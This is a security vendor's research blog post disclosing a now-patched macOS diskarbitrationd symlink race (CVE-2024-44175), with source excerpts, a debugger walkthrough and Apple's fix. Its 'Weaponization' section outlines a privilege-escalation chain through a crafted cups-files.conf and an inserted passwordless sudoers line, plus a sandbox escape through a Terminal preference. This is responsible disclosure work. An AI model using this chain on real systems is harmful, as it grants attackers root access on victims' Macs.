Uncovering Apple Vulnerabilities: The diskarbitrationd and storagekitd Audit Story Part 1
The Kandji team is always looking out for how to help keep your devices secure. In line with that, our Threat Research team performed an audit on the macOS diskarbitrationd
and storagekitd
system daemons, uncovering several vulnerabilities such as sandbox escapes, local privilege escalations, and TCC bypasses. Our team reported all of them to Apple through their responsible disclosure program, and as these are fixed now, we are releasing the details.
This is part one of a three part blog series, and in each part, we will review a vulnerability, how someone could exploit it, and finally, how Apple fixed it. We also presented these findings at the POC 2024 and Black Hat Europe 2024 IT Security conferences. With that context, let's dive in.
Introduction
The diskarbitrationd
process has been exploited multiple times in the past, and I already found numerous vulnerabilities in this daemon before. I covered those in my "History of macOS Disk Arbitration vulnerabilities" talk at the MacSysAdmin 2024 and Hacktivity 2024 conferences. Since then, I learned new tricks and techniques on macOS, and with this I thought that the daemon deserves a second look as there might be leftover issues.
In this first part of the series I will cover CVE-2024-44175, which allows attackers to escape the application sandbox and also escalate their privileges to root from a low privileged user. Let's start reviewing the vulnerability.
The Vulnerability
diskarbitrationd
supports two different file system types; those which are implemented in the kernel, like APFS or HFS+, and those that are implemented in user mode, so-called User File Systems (UserFS), for which FAT file system is a good example. The vulnerability existed in the handling of UserFS file systems.
When the disk arbitration daemon prepares the device for mounting, in the DAFileSystemMountWithArguments
function there is an initial check if the file system we try to mount has a UserFS implementation or not. This is shown below.
void DAFileSystemMountWithArguments( DAFileSystemRef filesystem,
CFURLRef device,
CFStringRef volumeName,
CFURLRef mountpoint,
uid_t userUID,
gid_t userGID,
CFStringRef preferredMountMethod,
DAFileSystemCallback callback,
void * callbackContext,
... )
{
/*
* Check for UserFS mount support. If the FS bundle supports UserFS and the preference is enabled
* Use UserFS APIs to do the mount instead of mount command.
*/
fsImplementation = CFDictionaryGetValue( filesystem->_properties, CFSTR( "FSImplementation" ) );
if ( fsImplementation != NULL )
{
Boolean useKext = FALSE;
if (CFGetTypeID(fsImplementation) == CFArrayGetTypeID() )
{
/*
* Choose the first listed FSImplementation item as the default mount option
*/
CFStringRef firstSupportedFS = CFArrayGetValueAtIndex( fsImplementation, 0 );
if ( firstSupportedFS != NULL )
{
if (CFStringCompare( CFSTR("UserFS"), firstSupportedFS, kCFCompareCaseInsensitive ) == 0)
{
useUserFS = TRUE;
}
}
/*
* If userfs is specified as the preferred mount option, then use UserFS to mount if it is supported.
*/
if ( preferredMountMethod != NULL )
{
if ( useUserFS == FALSE )
{
if ( ( CFStringCompare( CFSTR("UserFS"), preferredMountMethod, kCFCompareCaseInsensitive ) == 0) &&
( ___CFArrayContainsString( fsImplementation, CFSTR("UserFS") ) == TRUE ) )
{
useUserFS = TRUE;
}
}
else
{
if ( ( CFStringCompare( CFSTR("kext"), preferredMountMethod, kCFCompareCaseInsensitive ) == 0 ) &&
( ___CFArrayContainsString( fsImplementation, CFSTR("kext") ) == TRUE ) )
{
useUserFS = FALSE;
}
}
}
}
}
Here we pass a series of checks, if UserFS is supported for the file system type, and if yes, the useUserFS
variable will be set to TRUE
. Later on in the same function the variable will be checked, and what happens next will be greatly distinct from KEXT based file systems.
In case of KEXT based file system the daemon will call the external mount command with passing all the parameters and options, along with -k
which will enforce the mount operation not to follow any symbolic links in the path and fail in case any are found. This option is enforced and exists to prevent previously uncovered vulnerabilities.
However, in the case of UserFS this enforcement is not happening, as we can find in the code snippet below.
if ( useUserFS )
{
CFArrayRef argumentList;
// Retrive the device name in diskXsY format (without "/dev/" ).
argumentList = CFStringCreateArrayBySeparatingStrings( kCFAllocatorDefault, devicePath, CFSTR( "/" ) );
if ( argumentList )
{
CFStringRef dev = CFArrayGetValueAtIndex( argumentList, CFArrayGetCount( argumentList ) - 1 );
context->deviceName = CFRetain(dev);
context->fileSystem = CFRetain( DAFileSystemGetKind( filesystem ));
if ( mountpointPath )
{
context->mountPoint = CFRetain( mountpointPath );
}
else
{
context->mountPoint = NULL;
}
if ( volumeName )
{
context->volumeName = CFRetain( volumeName );
}
else
{
context->volumeName = CFSTR( "Untitled" );
}
if ( CFStringGetLength( options ))
{
context->mountOptions = CFRetain( options );
} else
{
context->mountOptions = NULL;
}
DAThreadExecute(__DAMountUserFSVolume, context, __DAMountUserFSVolumeCallback, context);
CFRelease( argumentList );
}
else
{
status = EINVAL;
}
goto DAFileSystemMountErr;
}
Here the daemon populates all the mount options, arguments, and other properties, and essentially calls the __DAMountUserFSVolume
function via DAThreadExecute
. Note that only those options, which already present, are passed, and -k
is not enforced.
Additionally, when a call is made to fskitd
through the API, the user ID, (or the disk owner ID, like in the case of KEXT FS,) is not passed.
returnValue = [FSKitDiskArbHelper DAMountUserFSVolume:fsType
deviceName:deviceName
mountPoint:mountpoint
volumeName:volumeName
mountOptions:mountOptions];
We can see the missing options if we run a process monitor. Below is a screenshot of the mount command executed.
Essentially diskarbitrationd
calls into fskitd
, which executes the relevant mount
command for the actual file system, mount_lifs
in this case. We can see that the nofollow/-k
option is not present. The other issue is that mount_lifs
is executed as root regardless of the caller.
The difference in the call flow is summarized in the below high-level drawing.
This is a problem because diskarbitrationd
has a single point where it verifies the mount point against sandbox escape and privilege escalation scenarios right at the initial _DAServerSessionQueueRequest
function. This is shown below.
kern_return_t _DAServerSessionQueueRequest( mach_port_t _session,
...
if ( path )
{
status = sandbox_check_by_audit_token(_token, "file-mount", SANDBOX_FILTER_PATH | SANDBOX_CHECK_ALLOW_APPROVAL, path);
if ( status )
{
status = kDAReturnNotPrivileged;
}
free( path );
}
...
if ( audit_token_to_euid( _token ) )
{
if ( audit_token_to_euid( _token ) != DADiskGetUserUID( disk ) )
{
status = kDAReturnNotPrivileged;
}
}
As the path is not verified later, this is a classic Type Of Check Type Of Use (TOCTOU) bug, and we can bypass both checks with a symbolic link. Once the path was verified, we can replace it with a symlink, point it to another location, and mount over any directory we wish because fskitd
runs as root and when it calls mount
it will run with the same high level of privileges. This will work even from a sandbox.
This is summarized in the flow diagram below.
Here we can see that once we pass the checks in diskarbitrationd
we can point our symbolic link somewhere else, and use that for sandbox escape or privilege escalation.
Next we will demo this using a debugger.
Exploitation using a Debugger
First we create a suitable DMG. We will use FAT as the file system, as that has a UserFS implementation.
tree@forest ~ % hdiutil create -fs "MS-DOS" -size 10MB -volname disk dos.dmg
created: /Users/tree/dos.dmg
We will attach our debugger to diskarbitrationd
and set a breakpoint on sandbox_check_by_audit_token
, which is the function responsible for checking if the Sandbox allows the mount operation for a process or not.
(lldb) process attach --name "diskarbitrationd"
Process 113 stopped
* thread #1, stop reason = signal SIGSTOP
frame #0: 0x000000019e3b3564 libsystem_kernel.dylib`__sigsuspend_nocancel + 8
libsystem_kernel.dylib`__sigsuspend_nocancel:
-> 0x19e3b3564 <+8>: b.lo 0x19e3b3584 ; <+40>
0x19e3b3568 <+12>: pacibsp
0x19e3b356c <+16>: stp x29, x30, [sp, #-0x10]!
0x19e3b3570 <+20>: mov x29, sp
Target 0: (diskarbitrationd) stopped.
Executable module set to "/usr/libexec/diskarbitrationd".
Architecture set to: arm64e-apple-macosx-.
(lldb) b sandbox_check_by_audit_token
Breakpoint 2: where = libsystem_sandbox.dylib`sandbox_check_by_audit_token, address = 0x00000001aa59bc50
(lldb) c
Process 113 resuming
On another window we start the mounting process.
tree@forest ~ % mkdir mnt
tree@forest ~ % open dos.dmg
tree@forest ~ % umount /Volumes/DISK
tree@forest ~ % diskutil list
...
/dev/disk5 (disk image):
#: TYPE NAME SIZE IDENTIFIER
0: FDisk_partition_scheme +10.5 MB disk5
1: DOS_FAT_32 DISK 10.5 MB disk5s1
tree@forest ~ % hdiutil attach -mountpoint mnt /dev/disk5s1
First we create a directory "mnt
", which we will use as our mount point and then open the dmg and unmount it, so we have a disk device to use for diskarbitrationd
. Lastly we will try to mount that device, disk5s1
in this case over mnt
.
We will hit our breakpoint at this stage.
Process 113 stopped
* thread #3, queue = 'DAServer', stop reason = breakpoint 2.1
frame #0: 0x00000001aa59bc50 libsystem_sandbox.dylib`sandbox_check_by_audit_token
libsystem_sandbox.dylib`sandbox_check_by_audit_token:
-> 0x1aa59bc50 <+0>: pacibsp
0x1aa59bc54 <+4>: sub sp, sp, #0xb0
0x1aa59bc58 <+8>: stp x20, x19, [sp, #0x90]
0x1aa59bc5c <+12>: stp x29, x30, [sp, #0xa0]
Target 0: (diskarbitrationd) stopped.
(lldb) finish
Process 113 stopped
* thread #3, queue = 'DAServer', stop reason = step out
frame #0: 0x00000001005463b8 diskarbitrationd`___lldb_unnamed_symbol712 + 1488
diskarbitrationd`___lldb_unnamed_symbol712:
-> 0x1005463b8 <+1488>: mov w8, #0x9 ; =9
0x1005463bc <+1492>: movk w8, #0xf8da, lsl #16
0x1005463c0 <+1496>: str x8, [sp, #0x30]
0x1005463c4 <+1500>: mov x20, x19
Target 0: (diskarbitrationd) stopped.
(lldb) b CFRelease
Breakpoint 3: where = CoreFoundation`CFRelease, address = 0x000000019e462edc
(lldb) c
Process 113 resuming
Process 113 stopped
* thread #3, queue = 'DAServer', stop reason = breakpoint 3.1
frame #0: 0x000000019e462edc CoreFoundation`CFRelease
CoreFoundation`CFRelease:
-> 0x19e462edc <+0>: pacibsp
0x19e462ee0 <+4>: stp x20, x19, [sp, #-0x20]!
0x19e462ee4 <+8>: stp x29, x30, [sp, #0x10]
0x19e462ee8 <+12>: add x29, sp, #0x10
Target 0: (diskarbitrationd) stopped.
(lldb) finish
We continue to the next CFRelease
, which is at the end of both sandbox and privilege checks. At this point we passed all verification done by the daemon, so we can replace our directory with a symlink pointing to a location owned by root; here we will use /etc/cups
.
tree@forest ~ % rm -rf mnt
tree@forest ~ % ln -s /etc/cups/ mnt
Then we disable breakpoints and let diskarbitrationd
continue to run.
(lldb) breakpoint disable
All breakpoints disabled. (2 breakpoints)
(lldb) c
Process 113 resuming
Eventually our disk image gets mounted over /etc/cups
which is owned by root.
tree@forest ~ % mount
/dev/disk4s1s1 on / (apfs, sealed, local, read-only, journaled)
devfs on /dev (devfs, local, nobrowse)
...
/dev/disk5s1 on /private/etc/cups (msdos, local, nodev, nosuid, noowners, noatime, fskit)
Here we proved that we can mount over any directory we want. Let’s explore next how we can turn it into an actual exploit.
Weaponization
To achieve local privilege escalation (LPE) the flow is a little bit tricky. It's illustrated below, and the explanation follows.
We mount over the previously discussed /etc/cups
directory and we drop a custom cups-files.conf
file. This file contains configuration options for the cupsd
daemon, which is the printer service. This file has two options, ErrorLog
and LogFilePerm
, the former sets the log file location, which we set to /etc/sudoers.d/lpe
and the latter sets the permissions on the log file, which will be 777
in this case, so it becomes world writable. We also put some junk lines in the file to trigger error log creation.
We can run cupsctl
to trigger the log creation. We then insert "%staff ALL=(ALL) NOPASSWD:ALL"
into the created sudoers
file, which means that every user in the staff group can elevate their privileges to root without a password. We also change the LogFilePerm
to 700
as that is needed for sudo to use the created file.
We invoke cupsctl
again, which will reset the permissions. At that point we can run sudo and we will be elevated to root.
Turning an arbitrary mount operation into sandbox escape can be done in the following way as illustrated below.
We plant a Terminal
preference file in our disk image, which contains a CommandString
configuration option. The command set here will be executed by Terminal when it's started. To chain this with the LPE, we also drop our LPE shell script, and will set that as the command string. By mounting the disk over the user's Preferences
directory, and then opening Terminal, we can achieve code execution outside the Sandbox, because Terminal is not running in a Sandbox. Terminal will execute our script, which will eventually achieve LPE.
Apple's Fix
Apple fixed this quickly, in macOS Sequoia 15.1 beta 2. Now the mount
call uses the nofollow
option, this is shown below.
/sbin/mount_lifs -v -o rsize=524288,wsize=65536,readahead=4,dsize=65536,actimeo=10,nodev,noowners,nosuid,nofollow,noatime,fh=05000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 :/ /Users/tree/mnt
If we check the source code, we will find that now the nofollow option is always added to the call.
if ( useUserFS )
{
...
CFStringAppend( options, CFSTR( "," ) );
CFStringAppend( options, kDAFileSystemMountArgumentNoFollow );
...
}
Additionally, they also ensure that fskitd
has the user ID of the original requestor, thus it can verify if the user has privileges or not.
token = [FSAuditToken new];
token = [token tokenWithRuid:gDAConsoleUserUID];
returnValue = [FSKitDiskArbHelper DAMountUserFSVolume:fsType
deviceName:deviceName
mountPoint:mountpoint
volumeName:volumeName
auditToken:token.audit_token
mountOptions:mountOptions];
Conclusion
In this blog post we covered a vulnerability, which impacted the diskarbitrationd
system daemon and allowed us to either escape the sandbox or escalate our privileges. We could utilize symbolic links to redirect a mount operation executed as root to a location of our choice which allowed us to achieve our goal. Apple fixed this by enforcing that the path used for the mount call cannot contain symbolic links and by ensuring that fskitd
is aware of the calling user.
In part 2 of this series, we will review a directory traversal attack on the same system daemon. Stay tuned.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.